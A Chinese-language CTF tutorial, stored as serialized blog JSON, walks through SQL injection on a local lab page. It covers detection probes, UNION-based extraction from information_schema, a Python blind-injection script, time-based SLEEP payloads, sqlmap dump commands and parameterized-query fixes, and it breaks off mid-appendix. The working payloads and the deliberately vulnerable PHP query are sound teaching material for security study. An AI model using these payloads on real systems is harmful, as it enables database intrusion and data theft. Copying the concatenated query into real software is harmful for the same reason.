[{"data":1,"prerenderedAt":4439},["ShallowReactive",2],{"category-data-web":3},[4,1492,2567],{"id":5,"title":6,"body":7,"description":1478,"extension":1479,"meta":1480,"navigation":741,"ogImage":1482,"path":1488,"seo":1489,"stem":1490,"__hash__":1491},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 拖库、盲注与防御",{"type":8,"value":9,"toc":1467},"minimark",[10,15,19,43,53,64,72,76,81,122,129,133,136,174,180,232,238,244,248,258,264,268,273,293,296,304,308,313,329,332,338,345,349,365,371,375,391,394,408,412,417,422,429,433,441,490,493,497,505,521,527,531,547,552,556,572,577,581,597,602,617,621,637,642,648,652,657,660,664,680,686,702,708,711,720,880,883,889,893,900,916,919,923,928,932,937,960,963,969,973,993,998,1002,1034,1041,1045,1089,1098,1105,1109,1114,1120,1297,1300,1313,1316,1322,1325,1452,1456,1463],[11,12,14],"h3",{"id":13},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 是怎么被拼出来的",[16,17,18],"p",{},"普通程序员的查询代码：",[20,21,26],"pre",{"className":22,"code":23,"language":24,"meta":25,"style":25},"language-php shiki shiki-themes dracula","$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n","php","",[27,28,29,37],"code",{"__ignoreMap":25},[30,31,34],"span",{"class":32,"line":33},"line",1,[30,35,36],{},"$id = $_GET['id'];\n",[30,38,40],{"class":32,"line":39},2,[30,41,42],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[16,44,45,48,49,52],{},[27,46,47],{},"$id"," 被直接拼进 SQL 字符串。当 ",[27,50,51],{},"id=1 OR 1=1"," 时：",[20,54,58],{"className":55,"code":56,"language":57,"meta":25,"style":25},"language-sql shiki shiki-themes dracula","SELECT id, title FROM articles WHERE id = 1 OR 1=1\n","sql",[27,59,60],{"__ignoreMap":25},[30,61,62],{"class":32,"line":33},[30,63,56],{},[16,65,66,67,71],{},"恒真，返回全表。",[68,69,70],"strong",{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 注入。",[11,73,75],{"id":74},"二环境搭建二选一","二、环境搭建（二选一）",[77,78,80],"h4",{"id":79},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[20,82,86],{"className":83,"code":84,"language":85,"meta":25,"style":25},"language-bash shiki shiki-themes dracula","git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n","bash",[27,87,88,101,110],{"__ignoreMap":25},[30,89,90,94,98],{"class":32,"line":33},[30,91,93],{"class":92},"sAOxA","git",[30,95,97],{"class":96},"s-mGx"," clone",[30,99,100],{"class":96}," https://github.com/Audi-1/sqli-labs.git\n",[30,102,103,107],{"class":32,"line":39},[30,104,106],{"class":105},"sLL85","cd",[30,108,109],{"class":96}," sqli-labs\n",[30,111,113,115,119],{"class":32,"line":112},3,[30,114,24],{"class":92},[30,116,118],{"class":117},"sIQBb"," -S",[30,120,121],{"class":96}," 127.0.0.1:8000\n",[16,123,124,125,128],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[27,126,127],{},"Less-1","。",[77,130,132],{"id":131},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[16,134,135],{},"数据库：",[20,137,139],{"className":55,"code":138,"language":57,"meta":25,"style":25},"CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n",[27,140,141,146,151,156,162,168],{"__ignoreMap":25},[30,142,143],{"class":32,"line":33},[30,144,145],{},"CREATE DATABASE ctf;\n",[30,147,148],{"class":32,"line":39},[30,149,150],{},"USE ctf;\n",[30,152,153],{"class":32,"line":112},[30,154,155],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[30,157,159],{"class":32,"line":158},4,[30,160,161],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[30,163,165],{"class":32,"line":164},5,[30,166,167],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[30,169,171],{"class":32,"line":170},6,[30,172,173],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[16,175,176,179],{},[27,177,178],{},"vuln.php","：",[20,181,183],{"className":22,"code":182,"language":24,"meta":25,"style":25},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[27,184,185,190,195,199,204,209,214,220,226],{"__ignoreMap":25},[30,186,187],{"class":32,"line":33},[30,188,189],{},"\u003C?php\n",[30,191,192],{"class":32,"line":39},[30,193,194],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[30,196,197],{"class":32,"line":112},[30,198,36],{},[30,200,201],{"class":32,"line":158},[30,202,203],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[30,205,206],{"class":32,"line":164},[30,207,208],{},"$result = $conn->query($sql);\n",[30,210,211],{"class":32,"line":170},[30,212,213],{},"while ($row = $result->fetch_assoc()) {\n",[30,215,217],{"class":32,"line":216},7,[30,218,219],{},"    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[30,221,223],{"class":32,"line":222},8,[30,224,225],{},"}\n",[30,227,229],{"class":32,"line":228},9,[30,230,231],{},"?>\n",[16,233,234,235,128],{},"启动：",[27,236,237],{},"php -S 127.0.0.1:8000",[239,240,241],"blockquote",{},[16,242,243],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[11,245,247],{"id":246},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[16,249,250,253,254,257],{},[68,251,252],{},"目的","：确认参数 ",[27,255,256],{},"id"," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[16,259,260,263],{},[68,261,262],{},"思路","：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[77,265,267],{"id":266},"请求-1正常请求","请求 1：正常请求",[16,269,270,272],{},[68,271,252],{},"：记录正常响应的样子，作为后续对比的基线。",[20,274,276],{"className":83,"code":275,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[27,277,278],{"__ignoreMap":25},[30,279,280,283,287,290],{"class":32,"line":33},[30,281,282],{"class":92},"curl",[30,284,286],{"class":285},"seVfx"," \"",[30,288,289],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1",[30,291,292],{"class":285},"\"\n",[16,294,295],{},"预期输出：",[20,297,302],{"className":298,"code":300,"language":301,"meta":25},[299],"language-text","1 hello world\n","text",[27,303,300],{"__ignoreMap":25},[77,305,307],{"id":306},"请求-2单引号","请求 2：单引号",[16,309,310,312],{},[68,311,252],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[20,314,316],{"className":83,"code":315,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[27,317,318],{"__ignoreMap":25},[30,319,320,322,324,327],{"class":32,"line":33},[30,321,282],{"class":92},[30,323,286],{"class":285},[30,325,326],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1'",[30,328,292],{"class":285},[16,330,331],{},"预期输出（报错）：",[20,333,336],{"className":334,"code":335,"language":301,"meta":25},[299],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[27,337,335],{"__ignoreMap":25},[16,339,340,341,344],{},"原因：语句变成 ",[27,342,343],{},"WHERE id = 1'","，单引号未闭合。",[77,346,348],{"id":347},"请求-3and-11","请求 3：AND 1=1",[20,350,352],{"className":83,"code":351,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[27,353,354],{"__ignoreMap":25},[30,355,356,358,360,363],{"class":32,"line":33},[30,357,282],{"class":92},[30,359,286],{"class":285},[30,361,362],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[30,364,292],{"class":285},[16,366,295,367,370],{},[27,368,369],{},"1 hello world","（条件真）。",[77,372,374],{"id":373},"请求-4and-12","请求 4：AND 1=2",[20,376,378],{"className":83,"code":377,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[27,379,380],{"__ignoreMap":25},[30,381,382,384,386,389],{"class":32,"line":33},[30,383,282],{"class":92},[30,385,286],{"class":285},[30,387,388],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[30,390,292],{"class":285},[16,392,393],{},"预期输出：空（条件假）。",[16,395,396,399,400,403,404,407],{},[68,397,398],{},"判定","：单引号报错 + ",[27,401,402],{},"1=1"," 正常 + ",[27,405,406],{},"1=2"," 为空 → 注入点确认。",[11,409,411],{"id":410},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[16,413,414,416],{},[68,415,252],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[16,418,419,421],{},[68,420,262],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[16,423,424,425,428],{},"前提：第一个查询返回空（用 ",[27,426,427],{},"id=-1","），UNION 两个查询列数相同。",[77,430,432],{"id":431},"第-1-步确定列数","第 1 步：确定列数",[16,434,435,179,437,440],{},[68,436,262],{},[27,438,439],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[20,442,444],{"className":83,"code":443,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[27,445,446,457,468,479],{"__ignoreMap":25},[30,447,448,450,452,455],{"class":32,"line":33},[30,449,282],{"class":92},[30,451,286],{"class":285},[30,453,454],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[30,456,292],{"class":285},[30,458,459,461,463,466],{"class":32,"line":39},[30,460,282],{"class":92},[30,462,286],{"class":285},[30,464,465],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[30,467,292],{"class":285},[30,469,470,472,474,477],{"class":32,"line":112},[30,471,282],{"class":92},[30,473,286],{"class":285},[30,475,476],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[30,478,292],{"class":285},[30,480,481,483,485,488],{"class":32,"line":158},[30,482,282],{"class":92},[30,484,286],{"class":285},[30,486,487],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[30,489,292],{"class":285},[16,491,492],{},"前三条正常，第四条报错 → 共 3 列。",[77,494,496],{"id":495},"第-2-步确认回显位","第 2 步：确认回显位",[16,498,499,179,501,504],{},[68,500,262],{},[27,502,503],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[20,506,508],{"className":83,"code":507,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[27,509,510],{"__ignoreMap":25},[30,511,512,514,516,519],{"class":32,"line":33},[30,513,282],{"class":92},[30,515,286],{"class":285},[30,517,518],{"class":96},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[30,520,292],{"class":285},[16,522,295,523,526],{},[27,524,525],{},"2 3","。第 2、3 列内容会显示，作为后续输出位置。",[77,528,530],{"id":529},"第-3-步查数据库名","第 3 步：查数据库名",[20,532,534],{"className":83,"code":533,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[27,535,536],{"__ignoreMap":25},[30,537,538,540,542,545],{"class":32,"line":33},[30,539,282],{"class":92},[30,541,286],{"class":285},[30,543,544],{"class":96},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[30,546,292],{"class":285},[16,548,295,549,128],{},[27,550,551],{},"ctf",[77,553,555],{"id":554},"第-4-步查表名","第 4 步：查表名",[20,557,559],{"className":83,"code":558,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[27,560,561],{"__ignoreMap":25},[30,562,563,565,567,570],{"class":32,"line":33},[30,564,282],{"class":92},[30,566,286],{"class":285},[30,568,569],{"class":96},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+",[30,571,292],{"class":285},[16,573,295,574,128],{},[27,575,576],{},"articles,flag,users",[77,578,580],{"id":579},"第-5-步查列名","第 5 步：查列名",[20,582,584],{"className":83,"code":583,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[27,585,586],{"__ignoreMap":25},[30,587,588,590,592,595],{"class":32,"line":33},[30,589,282],{"class":92},[30,591,286],{"class":285},[30,593,594],{"class":96},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[30,596,292],{"class":285},[16,598,295,599,128],{},[27,600,601],{},"flag",[16,603,604,607,608,610,611,613,614,616],{},[68,605,606],{},"说明","：如果第 4 步看到多个表，比如 ",[27,609,576],{},"，优先怀疑 ",[27,612,601],{}," 表；列名可能不是 ",[27,615,601],{},"，需要本步用 information_schema.columns 确认。",[77,618,620],{"id":619},"第-6-步拿数据","第 6 步：拿数据",[20,622,624],{"className":83,"code":623,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n",[27,625,626],{"__ignoreMap":25},[30,627,628,630,632,635],{"class":32,"line":33},[30,629,282],{"class":92},[30,631,286],{"class":285},[30,633,634],{"class":96},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[30,636,292],{"class":285},[16,638,295,639,128],{},[27,640,641],{},"flag{sql_injection}",[16,643,644,647],{},[68,645,646],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[11,649,651],{"id":650},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[16,653,654,656],{},[68,655,252],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[16,658,659],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[77,661,663],{"id":662},"_51-布尔盲注","5.1 布尔盲注",[20,665,667],{"className":83,"code":666,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[27,668,669],{"__ignoreMap":25},[30,670,671,673,675,678],{"class":32,"line":33},[30,672,282],{"class":92},[30,674,286],{"class":285},[30,676,677],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[30,679,292],{"class":285},[16,681,682,683,128],{},"正常 → 库名第一个字符是 ",[27,684,685],{},"c",[20,687,689],{"className":83,"code":688,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+\"\n",[27,690,691],{"__ignoreMap":25},[30,692,693,695,697,700],{"class":32,"line":33},[30,694,282],{"class":92},[30,696,286],{"class":285},[30,698,699],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[30,701,292],{"class":285},[16,703,704,705,128],{},"为空 → 不是 ",[27,706,707],{},"a",[16,709,710],{},"自动化脚本：",[16,712,713,715,716,719],{},[68,714,262],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[27,717,718],{},"hello","）就说明猜对，把字符记下再问下一位。",[20,721,725],{"className":722,"code":723,"language":724,"meta":25,"style":25},"language-python shiki shiki-themes dracula","import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\"          # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n    found = False\n    for ch in string.printable:\n        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n        r = requests.get(url, params={\"id\": payload})\n        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n        # r.text：响应正文。\n        if \"hello\" in r.text:\n            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n            result += ch\n            print(result)\n            found = True\n            break\n    if not found or result.endswith('}'):\n        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n        break\nprint(\"flag:\", result)\n","python",[27,726,727,732,737,743,748,753,757,762,767,772,778,784,790,796,802,808,814,820,826,832,838,844,850,856,862,868,874],{"__ignoreMap":25},[30,728,729],{"class":32,"line":33},[30,730,731],{},"import requests, string\n",[30,733,734],{"class":32,"line":39},[30,735,736],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[30,738,739],{"class":32,"line":112},[30,740,742],{"emptyLinePlaceholder":741},true,"\n",[30,744,745],{"class":32,"line":158},[30,746,747],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[30,749,750],{"class":32,"line":164},[30,751,752],{},"result = \"\"          # 保存已确认的 flag 片段\n",[30,754,755],{"class":32,"line":170},[30,756,742],{"emptyLinePlaceholder":741},[30,758,759],{"class":32,"line":216},[30,760,761],{},"for pos in range(1, 50):\n",[30,763,764],{"class":32,"line":222},[30,765,766],{},"    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[30,768,769],{"class":32,"line":228},[30,770,771],{},"    found = False\n",[30,773,775],{"class":32,"line":774},10,[30,776,777],{},"    for ch in string.printable:\n",[30,779,781],{"class":32,"line":780},11,[30,782,783],{},"        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[30,785,787],{"class":32,"line":786},12,[30,788,789],{},"        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[30,791,793],{"class":32,"line":792},13,[30,794,795],{},"        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[30,797,799],{"class":32,"line":798},14,[30,800,801],{},"        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[30,803,805],{"class":32,"line":804},15,[30,806,807],{},"        r = requests.get(url, params={\"id\": payload})\n",[30,809,811],{"class":32,"line":810},16,[30,812,813],{},"        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[30,815,817],{"class":32,"line":816},17,[30,818,819],{},"        # r.text：响应正文。\n",[30,821,823],{"class":32,"line":822},18,[30,824,825],{},"        if \"hello\" in r.text:\n",[30,827,829],{"class":32,"line":828},19,[30,830,831],{},"            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[30,833,835],{"class":32,"line":834},20,[30,836,837],{},"            result += ch\n",[30,839,841],{"class":32,"line":840},21,[30,842,843],{},"            print(result)\n",[30,845,847],{"class":32,"line":846},22,[30,848,849],{},"            found = True\n",[30,851,853],{"class":32,"line":852},23,[30,854,855],{},"            break\n",[30,857,859],{"class":32,"line":858},24,[30,860,861],{},"    if not found or result.endswith('}'):\n",[30,863,865],{"class":32,"line":864},25,[30,866,867],{},"        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[30,869,871],{"class":32,"line":870},26,[30,872,873],{},"        break\n",[30,875,877],{"class":32,"line":876},27,[30,878,879],{},"print(\"flag:\", result)\n",[16,881,882],{},"运行过程输出（节选）：",[20,884,887],{"className":885,"code":886,"language":301,"meta":25},[299],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[27,888,886],{"__ignoreMap":25},[77,890,892],{"id":891},"_52-时间盲注","5.2 时间盲注",[16,894,895,896,899],{},"页面连\"正常/异常\"都无法区分时，用 ",[27,897,898],{},"SLEEP"," 制造时间差：",[20,901,903],{"className":83,"code":902,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[27,904,905],{"__ignoreMap":25},[30,906,907,909,911,914],{"class":32,"line":33},[30,908,282],{"class":92},[30,910,286],{"class":285},[30,912,913],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[30,915,292],{"class":285},[16,917,918],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[11,920,922],{"id":921},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[16,924,925,927],{},[68,926,252],{},"：手工确认后，用工具批量完成拖库，效率更高。",[77,929,931],{"id":930},"命令-1检测","命令 1：检测",[16,933,934,936],{},[68,935,262],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[20,938,940],{"className":83,"code":939,"language":85,"meta":25,"style":25},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[27,941,942],{"__ignoreMap":25},[30,943,944,947,950,952,954,957],{"class":32,"line":33},[30,945,946],{"class":92},"sqlmap",[30,948,949],{"class":117}," -u",[30,951,286],{"class":285},[30,953,289],{"class":96},[30,955,956],{"class":285},"\"",[30,958,959],{"class":117}," --batch\n",[16,961,962],{},"预期输出（节选）：",[20,964,967],{"className":965,"code":966,"language":301,"meta":25},[299],"Parameter: id (GET)\n    Type: boolean-based blind\n    Type: UNION query\n",[27,968,966],{"__ignoreMap":25},[77,970,972],{"id":971},"命令-2列库","命令 2：列库",[20,974,976],{"className":83,"code":975,"language":85,"meta":25,"style":25},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[27,977,978],{"__ignoreMap":25},[30,979,980,982,984,986,988,990],{"class":32,"line":33},[30,981,946],{"class":92},[30,983,949],{"class":117},[30,985,286],{"class":285},[30,987,289],{"class":96},[30,989,956],{"class":285},[30,991,992],{"class":117}," --dbs\n",[16,994,995,996,128],{},"预期输出：数据库列表，含 ",[27,997,551],{},[77,999,1001],{"id":1000},"命令-3导出数据","命令 3：导出数据",[20,1003,1005],{"className":83,"code":1004,"language":85,"meta":25,"style":25},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[27,1006,1007],{"__ignoreMap":25},[30,1008,1009,1011,1013,1015,1017,1019,1022,1025,1028,1031],{"class":32,"line":33},[30,1010,946],{"class":92},[30,1012,949],{"class":117},[30,1014,286],{"class":285},[30,1016,289],{"class":96},[30,1018,956],{"class":285},[30,1020,1021],{"class":117}," -D",[30,1023,1024],{"class":96}," ctf",[30,1026,1027],{"class":117}," -T",[30,1029,1030],{"class":96}," flag",[30,1032,1033],{"class":117}," --dump\n",[16,1035,295,1036,1038,1039,128],{},[27,1037,601],{}," 表内容 ",[27,1040,641],{},[11,1042,1044],{"id":1043},"七核心步骤-5防御","七、核心步骤 5：防御",[20,1046,1048],{"className":22,"code":1047,"language":24,"meta":25,"style":25},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[27,1049,1050,1055,1060,1065,1069,1074,1079,1084],{"__ignoreMap":25},[30,1051,1052],{"class":32,"line":33},[30,1053,1054],{},"// PDO 参数化\n",[30,1056,1057],{"class":32,"line":39},[30,1058,1059],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[30,1061,1062],{"class":32,"line":112},[30,1063,1064],{},"$stmt->execute([$_GET['id']]);\n",[30,1066,1067],{"class":32,"line":158},[30,1068,742],{"emptyLinePlaceholder":741},[30,1070,1071],{"class":32,"line":164},[30,1072,1073],{},"// mysqli 参数化\n",[30,1075,1076],{"class":32,"line":170},[30,1077,1078],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[30,1080,1081],{"class":32,"line":216},[30,1082,1083],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[30,1085,1086],{"class":32,"line":222},[30,1087,1088],{},"$stmt->execute();\n",[20,1090,1092],{"className":722,"code":1091,"language":724,"meta":25,"style":25},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[27,1093,1094],{"__ignoreMap":25},[30,1095,1096],{"class":32,"line":33},[30,1097,1091],{},[16,1099,1100,1101,1104],{},"参数化后，输入 ",[27,1102,1103],{},"1 OR 1=1"," 只会作为字符串比较，不再改变语句结构。",[11,1106,1108],{"id":1107},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[16,1110,1111,1113],{},[68,1112,252],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[16,1115,1116,1117,179],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[27,1118,1119],{},"sim.py",[20,1121,1123],{"className":722,"code":1122,"language":724,"meta":25,"style":25},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n    cur = conn.cursor()\n    # cursor()：创建游标对象，用于执行 SQL。\n    try:\n        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n        return str(cur.fetchall())\n        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n    except Exception as e:\n        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n        return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[27,1124,1125,1130,1135,1139,1144,1149,1154,1159,1163,1168,1172,1177,1182,1186,1191,1196,1201,1206,1211,1216,1221,1226,1231,1236,1241,1246,1250,1255,1261,1267,1273,1279,1285,1291],{"__ignoreMap":25},[30,1126,1127],{"class":32,"line":33},[30,1128,1129],{},"import sqlite3\n",[30,1131,1132],{"class":32,"line":39},[30,1133,1134],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[30,1136,1137],{"class":32,"line":112},[30,1138,742],{"emptyLinePlaceholder":741},[30,1140,1141],{"class":32,"line":158},[30,1142,1143],{},"conn = sqlite3.connect(':memory:')\n",[30,1145,1146],{"class":32,"line":164},[30,1147,1148],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[30,1150,1151],{"class":32,"line":170},[30,1152,1153],{},"conn.executescript('''\n",[30,1155,1156],{"class":32,"line":216},[30,1157,1158],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[30,1160,1161],{"class":32,"line":222},[30,1162,161],{},[30,1164,1165],{"class":32,"line":228},[30,1166,1167],{},"CREATE TABLE flag (flag TEXT);\n",[30,1169,1170],{"class":32,"line":774},[30,1171,173],{},[30,1173,1174],{"class":32,"line":780},[30,1175,1176],{},"''')\n",[30,1178,1179],{"class":32,"line":786},[30,1180,1181],{},"# executescript：一次性执行多条 SQL，建表并插入测试数据。\n",[30,1183,1184],{"class":32,"line":792},[30,1185,742],{"emptyLinePlaceholder":741},[30,1187,1188],{"class":32,"line":798},[30,1189,1190],{},"def 